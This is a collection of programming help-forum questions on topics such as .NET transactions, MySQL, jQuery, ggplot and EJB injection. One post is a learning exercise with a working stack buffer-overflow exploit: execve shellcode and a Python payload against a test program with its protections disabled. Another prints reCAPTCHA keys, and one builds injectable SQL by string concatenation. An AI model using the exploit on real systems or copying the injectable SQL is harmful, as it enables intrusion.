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  • Why is TransactionScope operation is not valid?

    - by Cragly
    I have a routine which uses a recursive loop to insert items into a SQL Server 2005 database The first call which initiates the loop is enclosed within a transaction using TransactionScope. When I first call ProcessItem the myItem data gets inserted into the database as expected. However when ProcessItem is called from either ProcessItemLinks or ProcessItemComments I get the following error. “The operation is not valid for the state of the transaction” I am running this in debug with VS 2008 on Windows 7 and have the MSDTC running to enable distributed transactions. The code below isn’t my production code but is set out exactly the same. The AddItemToDatabase is a method on a class I cannot modify and uses a standard ExecuteNonQuery() which creates a connection then closes and disposes once completed. I have looked at other posting on here and the internet and still cannot resolve this issue. Any help would be much appreciated. using (TransactionScope processItem = new TransactionScope()) { foreach (Item myItem in itemsList) { ProcessItem(myItem); } processItem.Complete(); } private void ProcessItem(Item myItem) { AddItemToDatabase(myItem); ProcessItemLinks(myItem); ProcessItemComments(myItem); } private void ProcessItemLinks(Item myItem) { foreach (Item link in myItem.Links) { ProcessItem(link); } } private void ProcessItemComments(Item myItem) { foreach (Item comment in myItem.Comments) { ProcessItem(comment); } } Here is top part of the stack trace. Unfortunatly I cant show the build up to this point as its company sensative information which I can not disclose. Hope this is enough information. at System.Transactions.TransactionState.EnlistPromotableSinglePhase(InternalTransaction tx, IPromotableSinglePhaseNotification promotableSinglePhaseNotification, Transaction atomicTransaction) at System.Transactions.Transaction.EnlistPromotableSinglePhase(IPromotableSinglePhaseNotification promotableSinglePhaseNotification) at System.Data.SqlClient.SqlInternalConnection.EnlistNonNull(Transaction tx) at System.Data.SqlClient.SqlInternalConnection.Enlist(Transaction tx) at System.Data.SqlClient.SqlInternalConnectionTds.Activate(Transaction transaction) at System.Data.ProviderBase.DbConnectionInternal.ActivateConnection(Transaction transaction) at System.Data.ProviderBase.DbConnectionPool.GetConnection(DbConnection owningObject) at System.Data.ProviderBase.DbConnectionFactory.GetConnection(DbConnection owningConnection) at System.Data.ProviderBase.DbConnectionClosed.OpenConnection(DbConnection outerConnection, DbConnectionFactory connectionFactory) at System.Data.SqlClient.SqlConnection.Open()

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  • Give WPF design mode default objects

    - by Janko R
    In my application I have <Rectangle.Margin> <MultiBinding Converter="{StaticResource XYPosToThicknessConverter}"> <Binding Path="XPos"/> <Binding Path="YPos"/> </MultiBinding> </Rectangle.Margin> The Data Context is set during runtime. The application works, but the design window in VS does not show a preview but System.InvalidCastException. That’s why I added a default object in the XYPosToThicknessConverter which is ugly. class XYPosToThicknessConverter : IMultiValueConverter { public object Convert(object[] values, Type targetType, object parameter, System.Globalization.CultureInfo culture) { // stupid check to give the design window its default object. if (!(values[0] is IConvertible)) return new System.Windows.Thickness(3, 3, 0, 0); // useful code and exception throwing starts here // ... } } My Questions: What does VS/the process that builds the design window pass to XYPosToThicknessConverter and what is way to find it out by myself. How do I change my XAML code, so that the design window gets its default object and is this the best way to handle this problem? I’m using VS2010RC with Net4.0

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  • MySQL Unique hash insertion

    - by Jesse
    So, imagine a mysql table with a few simple columns, an auto increment, and a hash (varchar, UNIQUE). Is it possible to give mysql a query that will add a column, and generate a unique hash without multiple queries? Currently, the only way I can think of to achieve this is with a while, which I worry would become more and more processor intensive the more entries were in the db. Here's some pseudo-php, obviously untested, but gets the general idea across: while(!query("INSERT INTO table (hash) VALUES (".generate_hash().");")){ //found conflict, try again. } In the above example, the hash column would be UNIQUE, and so the query would fail. The problem is, say there's 500,000 entries in the db and I'm working off of a base36 hash generator, with 4 characters. The likelyhood of a conflict would be almost 1 in 3, and I definitely can't be running 160,000 queries. In fact, any more than 5 I would consider unacceptable. So, can I do this with pure SQL? I would need to generate a base62, 6 char string (like: "j8Du7X", chars a-z, A-Z, and 0-9), and either update the last_insert_id with it, or even better, generate it during the insert. I can handle basic CRUD with MySQL, but even JOINs are a little outside of my MySQL comfort zone, so excuse my ignorance if this is cake. Any ideas? I'd prefer to use either pure MySQL or PHP & MySQL, but hell, if another language can get this done cleanly, I'd build a script and AJAX it too. Thanks!

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  • XMLHttpRequest leak in javascript. please help.

    - by Raja
    Hi everyone, Below is my javascript code snippet. Its not running as expected, please help me with this. <script type="text/javascript"> function getCurrentLocation() { console.log("inside location"); navigator.geolocation.getCurrentPosition(function(position) { insert_coord(new google.maps.LatLng(position.coords.latitude,position.coords.longitude)); }); } function insert_coord(loc) { var request = new XMLHttpRequest(); request.open("POST","start.php",true); request.onreadystatechange = function() { callback(request); }; request.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); request.send("lat=" + encodeURIComponent(loc.lat()) + "&lng=" + encodeURIComponent(loc.lng())); return request; } function callback(req) { console.log("inside callback"); if(req.readyState == 4) if(req.status == 200) { document.getElementById("scratch").innerHTML = "callback success"; window.setTimeout("getCurrentLocation()",5000); } } getCurrentLocation(); //called on body load </script> What i'm trying to achieve is to send my current location to the php page every 5 seconds or so. i can see few of the coordinates in my database but after sometime it gets weird. Firebug show very weird logs like simultaneous POST's at irregular intervals. Here's the firebug screenshot: IS there a leak in the program. please help.

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  • System.Threading.Timer keep reference to it.

    - by Daniel Bryars
    According to [http://msdn.microsoft.com/en-us/library/system.threading.timer.aspx][1] you need to keep a reference to a System.Threading.Timer to prevent it from being disposed. I've got a method like this: private void Delay(Action action, Int32 ms) { if (ms <= 0) { action(); } System.Threading.Timer timer = new System.Threading.Timer( (o) => action(), null, ms, System.Threading.Timeout.Infinite); } Which I don't think keeps a reference to the timer, I've not seen any problems so far, but that's probably because the delay periods used have been pretty small. Is the code above wrong? And if it is, how to I keep a reference to the Timer? I'm thinking something like this might work: class timerstate { internal volatile System.Threading.Timer Timer; }; private void Delay2(Action action, Int32 ms) { if (ms <= 0) { action(); } timerstate state = new timerstate(); lock (state) { state.Timer = new System.Threading.Timer( (o) => { lock (o) { action(); ((timerstate)o).Timer.Dispose(); } }, state, ms, System.Threading.Timeout.Infinite); } The locking business is so I can get the timer into the timerstate class before the delegate gets invoked. It all looks a little clunky to me. Perhaps I should regard the chance of the timer firing before it's finished constructing and assigned to the property in the timerstace instance as negligible and leave the locking out.

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  • How to fix security exception when using recaptcha on MVC site

    - by camainc
    I followed this excellent blog post to implement recaptcha on my MVC site: http://devlicio.us/blogs/derik_whittaker/archive/2008/12/02/using-recaptcha-with-asp-net-mvc.aspx I converted the code to VB, and everything seems to compile ok. However, when the code gets to the place where the recapture is about to be generated, I get a security exception. Here is the function where the exception occurs (on the last line in the function): <Extension()> _ Public Function GenerateCaptcha(ByVal htmlHelper As HtmlHelper) As MvcHtmlString Dim captchaControl As New Recaptcha.RecaptchaControl With captchaControl .ID = "recaptcha" .Theme = "blackglass" .PublicKey = "6Lcv9AsAAAAAALCSZNRfWFmrKjw2AR-yuZAL84Bd" .PrivateKey = "6Lcv9AsAAAAAAHCbRujWcZzrY0z6G_HIMvFyYEPR" End With Dim htmlWriter As New HtmlTextWriter(New IO.StringWriter) captchaControl.RenderControl(htmlWriter) Return MvcHtmlString.Create(htmlWriter.InnerWriter.ToString()) End Function The exception is this: Security Exception Description: The application attempted to perform an operation not allowed by the security policy. To grant this application the required permission please contact your system administrator or change the application's trust level in the configuration file. Exception Details: System.Security.SecurityException: Request for the permission of type 'System.Web.AspNetHostingPermission, System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' failed. Has anyone else seen this exception, and if so, how did you fix it? Thanks

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  • VB.net (aspx) mysql connection

    - by StealthRT
    Hey all i am new to ASP.NET and VB.net code behind. I have a classic ASP page that connects to the mySQL server with the following code: Set oConnection = Server.CreateObject("ADODB.Connection") Set oRecordset = Server.CreateObject("ADODB.Recordset") oConnection.Open "DRIVER={MySQL ODBC 3.51 Driver}; SERVER=xxx.com; PORT=3306; DATABASE=xxx; USER=xxx; PASSWORD=xxx; OPTION=3;" sqltemp = "select * from userinfo WHERE emailAddress = '" & theUN & "'" oRecordset.Open sqltemp, oConnection,3,3 if oRecordset.EOF then ... However, i am unable to find anything to connect to mySQL in ASP.NET (VB.NET). I have only found this peice of code that does not seem to work once it gets to the "Dim conn As New OdbcConnection(MyConString)" code: Dim MyConString As String = "DRIVER={MySQL ODBC 3.51 Driver};" & _ "SERVER=xxx.com;" & _ "DATABASE=xxx;" & _ "UID=xxx;" & _ "PASSWORD=xxx;" & _ "OPTION=3;" Dim conn As New OdbcConnection(MyConString) MyConnection.Open() Dim MyCommand As New OdbcCommand MyCommand.Connection = MyConnection MyCommand.CommandText = "select * from userinfo WHERE emailAddress = '" & theUN & "'"" MyCommand.ExecuteNonQuery() MyConnection.Close() I have these import statements also: <%@ Import Namespace=System %> <%@ Import Namespace=System.IO %> <%@ Import Namespace=System.Web %> <%@ Import Namespace=System.ServiceProcess %> <%@ Import Namespace=Microsoft.Data.Odbc %> <%@ Import Namespace=MySql.Data.MySqlClient %> <%@ Import Namespace=MySql.Data %> <%@ Import Namespace=System.Data %> So any help would be great! :o) David

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  • ISO-8859-1 to UTF8 in ASP.NET 2

    - by Gordon Carpenter-Thompson
    We've got a page which posts data to our ASP.NET app in ISO-8859-1 <head> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"> <title>`Sample Search Invoker`</title> </head> <body> <form name="advancedform" method="post" action="SearchResults.aspx"> <input class="field" name="SearchTextBox" type="text" /> <input class="button" name="search" type="submit" value="Search &gt;" /> </form> and in the code behind (SearchResults.aspx.cs) System.Collections.Specialized.NameValueCollection postedValues = Request.Form; String nextKey; for (int i = 0; i < postedValues.AllKeys.Length; i++) { nextKey = postedValues.AllKeys[i]; if (nextKey.Substring(0, 2) != "__") { // Get basic search text if (nextKey.EndsWith(XAEConstants.CONTROL_SearchTextBox)) { // Get search text value String sSentSearchText = postedValues[i]; System.Text.Encoding iso88591 = System.Text.Encoding.GetEncoding("iso-8859-1"); System.Text.Encoding utf8 = System.Text.Encoding.UTF8; byte[] abInput = iso88591.GetBytes(sSentSearchText); sSentSearchText = utf8.GetString(System.Text.Encoding.Convert(iso88591, utf8, abInput)); this.SearchText = sSentSearchText.Replace('<', ' ').Replace('>',' '); this.PreviousSearchText.Value = this.SearchText; } } } When we pass through Merkblätter it gets pulled out of postedValues[i] as Merkbl?tter The raw string string is Merkbl%ufffdtter Any ideas?

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  • Finding the last focused element with jQuery.

    - by Joshua Cody
    I'm looking to determine which element had the last focus in a series of inputs, that are added dynamically by the user. This code can only get the inputs that are available on page load: $('input.item').focus(function(){ $(this).siblings('ul').slideDown(); }); And this code sees all elements that have ever had focus: $('input.item').live('focus', function(){ $(this).siblings('ul').slideDown(); }); The HTML structure is this: <ul> <li><input class="item" name="goals[]"> <ul> <li>long list here</li> <li>long list here</li> <li>long list here</li> </ul></li> </ul> <a href="#" id="add">Add another</a> On page load, a single input loads. Then with each add another, a new copy of the top unordered list's contents are made and appended. And when each gets focus, I'd like to show the list beneath it. But I don't seem to be able to "watch for the most recently focused element, which exists now or in the future." Do I have some sort of fundamental assumption wrong?

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  • how could installations/configurations be easier in linux?

    - by ajsie
    although you can do anything in linux it tends to require a lot of tweaking in config files and reading a lot of manuals/tutorials before you can have it running in your way. i know that it gets a lot easier by time, and the apt-get installations with ubuntu/debian is heading the right way. but how can linux be more userfriendly for us in the future? i thought that if more is automated like an IDE environment, eg. typing svn will give us all the commands and description about each command when you move between commands with your keyboard. that would be great. but that's just one example. another is the navigation in the terminal between folders. now you have to type a lot just to jump from/to different folders. would be great with some more automatization here too. i know that these extra features will slow down the server, but its 2010 now, and these features are not that heavy for the cpu, but makes it more userfriendly and encourage maintainance of a server, not frighten u off. what do you think about this? should/could we have more user friendly linux environment in servers, something that has annoyed you a lot? a lot of things are done in the unix way, but maybe we should reinvent the wheel in some areas, cause apparently, its so...repeatingly today and difficult to do easy tasks. it should be easier i think..

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  • PHP's PDO Prepare Method Fails While in a Loop

    - by Andrew G. Johnson
    Given the following code: // Connect to MySQL up here $example_query = $database->prepare('SELECT * FROM table2'); if ($example_query === false) die('prepare failed'); $query = $database->prepare('SELECT * FROM table1'); $query->execute(); while ($results = $query->fetch()) { $example_query = $database->prepare('SELECT * FROM table2'); if ($example_query === false) die('prepare failed'); //it will die here } I obviously attempt to prepare statements to SELET everything from table2 twice. The second one (the one in the WHILE loop) always fails and causes an error. This is only on my production server, developing locally I have no issues so it must be some kind of setting somewhere. My immediate thought is that MySQL has some kind of max_connections setting that is set to 1 and a connection is kept open until the WHILE loop is completed so when I try to prepare a new query it says "nope too many connected already" and shits out. Any ideas? EDIT: Yes I know there's no need to do it twice, in my actual code it only gets prepared in the WHILE loop, but like I said that fails on my production server so after some testing I discovered that a simple SELECT * query fails in the WHILE loop but not out of it. The example code I gave is obviously very watered down to just illustrate the issue.

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  • how to define fill colours in ggplot histogram?

    - by Andreas
    I have the following simple data data <- structure(list(status = c(9, 5, 9, 10, 11, 10, 8, 6, 6, 7, 10, 10, 7, 11, 11, 7, NA, 9, 11, 9, 10, 8, 9, 10, 7, 11, 9, 10, 9, 9, 8, 9, 11, 9, 11, 7, 8, 6, 11, 10, 9, 11, 11, 10, 11, 10, 9, 11, 7, 8, 8, 9, 4, 11, 11, 8, 7, 7, 11, 11, 11, 6, 7, 11, 6, 10, 10, 9, 10, 10, 8, 8, 10, 4, 8, 5, 8, 7), statusgruppe = c(0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, NA, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0)), .Names = c("status", "statusgruppe"), class = "data.frame", row.names = c(NA, -78L )) from that I'd like to make a histogram: ggplot(data, aes(status))+ geom_histogram(aes(y=..density..), binwidth=1, colour = "black", fill="white")+ theme_bw()+ scale_x_continuous("Staus", breaks=c(min(data$status,na.rm=T), median(data$status, na.rm=T), max(data$status, na.rm=T)),labels=c("Low", "Middle", "High"))+ scale_y_continuous("Percent", formatter="percent") Now - i'd like for the bins to take colou according to value - e.g. bins with value 9 gets dark grey - everything else should be light grey. I have tried with "fill=statusgruppe", scale_fill_grey(breaks=9) etc. - but I can't get it to work. Any ideas?

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  • How do DP and CC change in Piet?

    - by Paul Butcher
    According to the specification, Black colour blocks and the edges of the program restrict program flow. If the Piet interpreter attempts to move into a black block or off an edge, it is stopped and the CC is toggled. The interpreter then attempts to move from its current block again. If it fails a second time, the DP is moved clockwise one step. These attempts are repeated, with the CC and DP being changed between alternate attempts. If after eight attempts the interpreter cannot leave its current colour block, there is no way out and the program terminates. Unless I'm reading it incorrectly, this is at odds with the behaviour of the Fibonacci sequence example here: http://www.dangermouse.net/esoteric/piet/fibbig1.gif (from: http://www.dangermouse.net/esoteric/piet/samples.html) Specifically, why does the DP turn left at (0,3) ((0,0) being (top, left)) when it hits the left edge? At this point, both DP and CC are LEFT, so, by my reading, the sequence should then be: Attempt (and fail) to leave the block by going off the edge at (0,4), Toggle CC to RIGHT, Attempt (and fail) to leave the block by going off the edge at (0,2). Rotate DP to UP, Attempt (and succeed) to leave the block at (1,2) by entering the white block at (1,1) The behaviour indicated by the trace seems to be that DP gets rotated all the way, leaving CC at LEFT. What have I misunderstood?

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  • How can you assign multiple Javascript functions to the upload_start_handler for WordPress's SWFUplo

    - by Byron
    I've got 2 WordPress plugins (PhotoSmash and TwitPic-It) that need to hook into the SWFUploader for the Media Uploader in WordPress. SWFUpload has a setting "upload_start_handler" where you can specify a javascript function that will run immediately before the upload begins. The trouble is that I need to assign 2 different functions to run in separate plugins that may or may not coexist in a given user's WordPress blog. I want to make the implementation so that it allows other plugin authors to hook their own javascript functions. I don't know that I have access to the actual event being fired. The "upload_start_handler" is a setting on a JS object, not an event hook on the flash object. You set it like: swfu.settings.upload_start_handler = function(){ runFlashStartUploadFunctions(); } My current plan is to add a 2 functions and an array variable (check if they exists first). The array variable is intended to hold an array of function names (strings) to run when "runFlashStartUploadFunctions" gets called at upload start. The first function is to add new functions to the array. The second function is "runFlashStartUploadFunctions", and it will iterate through the array and eval each function name. Is there a better way? Thanks, Byron

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  • How to inject a Session Bean into a Message Driven Bean?

    - by Hank
    Hi guys, I'm reasonably new to JEE, so this might be stupid.. bear with me pls :D I would like to inject a stateless session bean into a message-driven bean. Basically, the MDB gets a JMS message, then uses a session bean to perform the work. The session bean holds the business logic. Here's my Session Bean: @Stateless public class TestBean implements TestBeanRemote { public void doSomething() { // business logic goes here } } The matching interface: @Remote public interface TestBeanRemote { public void doSomething(); } Here's my MDB: @MessageDriven(mappedName = "jms/mvs.TestController", activationConfig = { @ActivationConfigProperty(propertyName = "acknowledgeMode", propertyValue = "Auto-acknowledge"), @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue") }) public class TestController implements MessageListener { @EJB private TestBean testBean; public TestController() { } public void onMessage(Message message) { testBean.doSomething(); } } So far, not rocket science, right? Unfortunately, when deploying this to glassfish v3, and sending a message to the appropriate JMS Queue, I get errors that glassfish is unable to locate the TestBean EJB: java.lang.IllegalStateException: Exception attempting to inject Remote ejb-ref name=mvs.test.TestController/testBean,Remote 3.x interface =mvs.test.TestBean,ejb-link=null,lookup=null,mappedName=,jndi-name=mvs.test.TestBean,refType=Session into class mvs.test.TestController Caused by: com.sun.enterprise.container.common.spi.util.InjectionException: Exception attempting to inject Remote ejb-ref name=mvs.test.TestController/testBean,Remote 3.x interface =mvs.test.TestBean,ejb-link=null,lookup=null,mappedName=,jndi-name=mvs.test.TestBean,refType=Session into class mvs.test.TestController Caused by: javax.naming.NamingException: Lookup failed for 'java:comp/env/mvs.test.TestController/testBean' in SerialContext [Root exception is javax.naming.NamingException: Exception resolving Ejb for 'Remote ejb-ref name=mvs.test.TestController/testBean,Remote 3.x interface =mvs.test.TestBean,ejb-link=null,lookup=null,mappedName=,jndi-name=mvs.test.TestBean,refType=Session' . Actual (possibly internal) Remote JNDI name used for lookup is 'mvs.test.TestBean#mvs.test.TestBean' [Root exception is javax.naming.NamingException: Lookup failed for 'mvs.test.TestBean#mvs.test.TestBean' in SerialContext [Root exception is javax.naming.NameNotFoundException: mvs.test.TestBean#mvs.test.TestBean not found]]] So my questions are: - is this the correct way of injecting a session bean into another bean (particularly a message driven bean)? - why is the naming lookup failing? Thanks for all your help! Cheers, Hank

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  • RIA Services: Inserting multiple presentation-model objects

    - by nlawalker
    I'm sharing data via RIA services using a presentation model on top of LINQ to SQL classes. On the Silverlight client, I created a couple of new entities (album and artist), associated them with each other (by either adding the album to the artist's album collection, or setting the Artist property on the album - either one works), added them to the context, and submitted changes. On the server, I get two separate Insert calls - one for the album and one for the artist. These entitites are new so their ID values are both set to the default int value (0 - keep in mind that depending on my DB, this could be a valid ID in the DB) because as far as I know you don't set IDs for new entities on the client. This all would work fine if I was transferring the LINQ to SQL classes via my RIA services, because even though the Album insert includes the Artist and the Artist insert includes the Album, both are Entities and the L2S context recognizes them. However, with my custom presentation model objects, I need to convert them back to the LINQ to SQL classes maintaining the associations in the process so they can be added to the L2S context. Put simply, as far as I can tell, this is impossible. Each entity gets its own Insert call, but there's no way you can just insert the one entity because without IDs the associations are lost. If the database used GUID identifiers it would be a different story because I could set those on the client. Is this possible, or should I be pursuing another design?

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  • Proper way to cleanup dynamic engines and can they be loaded twice?

    - by Becky
    Hello - I am having problems loading Engine PKCS #11 as a dynamic engine using python and M2Crypto. I am trying to access an Aladdin USB eToken. Here are the important steps from my python code: dynamic = Engine.load_dynamic_engine("pkcs11", "/usr/local/ssl/lib/engines/engine_pkcs11.so") pkcs11 = Engine.Engine("pkcs11") pkcs11.ctrl_cmd_string("MODULE_PATH", "/usr/lib/libeTPkcs11.so") pkcs11.engine_init_custom() # initialize engine with custom M2Crypto patch # next few steps which I deleted pass password and grab key & cert off token Engine.cleanup() This works fine the first time this method gets run. The second time, it fails when loading the dynamic engine (see error below). Traceback (most recent call last): File "", line 1, in ? File "/usr/local/lib/python2.4/site-packages/M2Crypto/Engine.py", line 98, in load_dynamic_engine e.ctrl_cmd_string("LOAD", None) File "/usr/local/lib/python2.4/site-packages/M2Crypto/Engine.py", line 38, in ctrl_cmd_string raise EngineError(Err.get_error()) M2Crypto.Engine.EngineError: 4002:error:260B606D:engine routines:DYNAMIC_LOAD:init failed:eng_dyn.c:521: Is it impossible to load engines twice in a python session? Am I missing some kind of engine cleanup/deletion? The OpenSSL docs talk about engine_finish() but I don't think M2Crypto offers that. Is there a method to tell if the engine is already loaded? Thanks!

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  • jquery ui autocomplete problem

    - by Roger
    Hi, i've got a select box containing countries, and when one is selected, i want my autocomplete data for the city field to load via ajax. here's my code: // Sets up the autocompleter depending on the currently // selected country $(document).ready(function() { var cache = getCities(); $('#registration_city_id').autocomplete( { source: cache } ); cache = getCities(); // update the cache array when a different country is selected $("#registration_country_id").change(function() { cache = getCities(); }); }); /** * Gets the cities associated with the currently selected country */ function getCities() { var cityId = $("#registration_country_id :selected").attr('value'); return $.getJSON("/ajax/cities/" + cityId + ".html"); } This returns the following json: ["Aberdare","Aberdeen","Aberystwyth","Abingdon","Accrington","Airdrie","Aldershot","Alfreton","Alloa","Altrincham","Amersham","Andover","Antrim","Arbroath","Ardrossan","Arnold","Ashford","Ashington","Ashton-under-Lyne","Atherton","Aylesbury","Ayr",... ] But, it doesn't work. When i start typing in the city box, the style changes so the autocompleter is doing something, but it won't display this data. If i hard-code the above it works. Can anyone see what's wrong? Thanks

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  • Cocoa memory management

    - by silvio
    At various points during my application's workflow, I need so show a view. That view is quite memory intensive, so I want it to be deallocated when it gets discarded by the user. So, I wrote the following code: - (MyView *)myView { if (myView != nil) return myView; myView = [[UIView alloc] initWithFrame:CGRectZero]; // allocate memory if necessary. // further init here return myView; } - (void)discardView { [myView discard]; // the discard methods puts the view offscreen. [myView release]; // free memory! } - (void)showView { view = [self myView]; // more code that puts the view onscreen. } Unfortunately, this methods only works the first time. Subsequent requests to put the view onscreen result in "message sent to deallocated instance" errors. Apparently, a deallocated instance isn't the same thing as nil. I thought about putting an additional line after [myView release] that reads myView = nil. However, that could result in errors (any calls to myView after that line would probably yield errors). So, how can I solve this problem?

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  • Why I am getting a Heap Corruption Error?

    - by vaidya.atul
    I am new to C++. I am getting HEAP CORRUPTION ERROR. Any help will be highly appreciated. Below is my code class CEntity { //some member variables CEntity(string section1,string section2); CEntity(); virtual ~CEntity(); //pure virtual function .. virtual CEntity* create()const =0; }; I derive CLine from CEntity as below class CLine:public CEntity { // Again some variables ... // Constructor and destructor CLine(string section1,string section2); CLine(); ~CLine(); CLine* Create() const; } // CLine Implementation CLine::CLine(string section1,string section2):CEntity(section1,section2){}; CLine::CLine(); CLine* CLine::create()const{return new CLine();} I have another class CReader which uses CLine object and populates it in a multimap as below class CReader { public: CReader(); ~CReader(); multimap<int,CEntity*>m_data_vs_entity; }; //CReader Implementation CReader::CReader() { m_data_vs_entity.clear(); }; CReader::~CReader() { multimap<int,CEntity*>::iterator iter; for(iter = m_data_vs_entity.begin();iter!=m_data_vs_entity.end();iter++) { CEntity* current_entity = iter->second; if(current_entity) delete current_entity; } m_data_vs_entity.clear(); } I am reading the data from a file and then populating the CLine Class.The map gets populated in a function of CReader class. Since CEntity has a virtual destructor, I hope the piece of code in CReader's destructor should work. In fact, it does work for small files but I get HEAP CORRUPTION ERROR while working with bigger files. If there is something fundamentally wrong, then, please help me find it, as I have been scratching my head for quit some time now. Thanks in advance and awaiting reply, Regards, Atul

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  • cannot receive UDP broadcast packets

    - by user292792
    Hello I have 2 boxes: - an embedded device (ARM Omap with linux) which I'll call "Omap". - a PC (can either be Windows or linux). Scenario 1 Both boxes are in the same network (example: my office). The Omap gets its address from a DHCP server (ex: 192.168.10.110). The PC has always the same address (ex. 192.168.10.104). I can successfully exchange UDP broadcast packets on any port. Success. Scenario 2 The 2 boxes are in a network withOUT a DHCP server. The PC has a static IP address (example: 10.10.10.20). The Omap boots, looks for a DHCP server, doesn't find it, and is in what I call "bad IP address" state. Now... Broadcasting UDP packets from the Omap works: the PC can see them. The opposite doesn't work: UDP packets broadcasted by the PC are not seen by the Omap. I am using Wireshark on another PC to verify that the packets are being sent. Failure. I tried to change the Omap ip address (with ifconfig)... no luck. What am I missing? To complete the picture, when the Omap is in Scenario 2, if I run udhcpc ... it can communicate with the DHCP server and get an IP address. I also see the packets with Wireshark. So this means that the DHCP client is able to broadcast UDP packets. (Yes, I tried to use DHCP ports 67/68 but it doesn't work). I am using Boost C++ Asio UDP sockets. Specifically, I took the multicast examples and changed them to do broadcasting. Any help is appreciated. Thanks, Benedetto

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  • Problem with extended ASCII characters in web page/master page

    - by Oyvind Brathen
    I have some localization problems in my webpage. There are basically two problems (that I suspect have a different sulution, but they are conseptually linked) First problem is this: I have a website that is using a master page. All text from the page is fine, but all text that comes from the master page file, get scrambled norwegian characters. For example Ø shows up as Ø. It seems that all characthers in the extended ASCII table gets scrambled this way. Afterwards, if I open the master page in Notepad the Ø looks normal, but if I remove the Ø and write a new Ø manually, then save the file from Notepad, and then open the website in the browser, it looks fine and the Ø is shown properly. So it seems that Visual Studio saves the characters wrongly in the master file, but correct for the aspx file. Any clue here? The second issue is norwegian characters coming from jQuery. All of these characters get's replaced by a questionmark with a black box around it. Here, modifying the js file in Notepad does not help, and it still display scrambled in the browser. Any input here would be appreciated.

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  • playframework auto-test Jenkins CI wait for completion?

    - by notbrain
    I am trying to set up Jenkins CI for a playframework.org application but am having trouble properly launching play after the auto-test command is run. The tests all run fine, but it seems as though my script is launching both play auto-test and play start --%ci at the same time. When the play start --%ci command runs, it gets a pid and everything, but it's not running. FILE: auto-test.sh, jenkins runs this with execute shell #!/bin/bash # pwd is jenkins workspace dir # change into approot dir cd customer-portal; # kill any previous play launches if [ -e "server.pid" ] then kill `cat server.pid`; rm -rf server.pid; fi # drop and re-create the DB mysql --user=USER --password=PASS --host=HOSTNAME < ../setupdb.sql # auto-test the most recent build /usr/local/lib/play/play auto-test; # this is inadequate for waiting for auto-test to complete? # how to wait for actual process completion? # sleep 60; wait; # Conditional start based on tests # Launch normal on pass, test on fail # if [ -e "./test-result/result.passed" ] then /usr/local/lib/play/play start --%ci; exit 0; else /usr/local/lib/play/play test; exit 1; fi

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  • Shellcode for a simple stack overflow: Exploited program with shell terminates directly after execve

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. The execve syscall succeeds but afterwards it just terminates. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328 Debugging with gdb: $ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) $ gdb buffer (gdb) run < exploit.txt Starting program: /home/henning/bo/buffer < exploit.txt Stackpointer 0x7fffffffe308 Jump to 0x7fffffffe308 process 4185 is executing new program: /bin/dash Program exited normally.

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  • Gridview empty when SelectedIndexChanged called

    - by xan
    I have a DataGrid which is being bound dynamically to a database query. The user enters some search text into a text field, clicks search, and the code behind creates the appropriate database query using LINQ (searches a table based on the string and returns a limited set of the columns). It then sets the GridView datasource to be the query and calls DataBind(). protected void btnSearch_Click(object sender, EventArgs e) { var query = from record in DB.Table where record.Name.Contains(txtSearch.Text) //Extra string checking etc. removed. select new { record.ID, record.Name, record.Date }; gvResults.DataSource = query; gvResults.DataBind(); } This works fine. When a user selects a row in the grid, the SelectedIndexChanged event handler gets the id from the row in the grid (one of the fields), queries the full record from the DB and then populates a set of editor / details fields with the records full details. protected void gvResults_SelectedIndexChanged(object sender, EventArgs e) { int id = int.Parse(gvResults.SelectedRow.Cells[1].Text); DisplayDetails(id); } This works fine on my local machine where I'm developing the code. On the production server however, the function is called successfully, but the row and column count on gvResults, the GridVeiw is 0 - the table is empty. The GridView's viewstate is enabled and I can't see obvious differences. Have I made some naive assumptions, or am I relying on something that is likely to be configured differently in debug? Locally I am running an empty asp.net web project in VS2008 to make development quicker. The production server is running the sitecore CMS so is configured rather differently. Any thoughts or suggestions would be most welcome. Thanks in advance!

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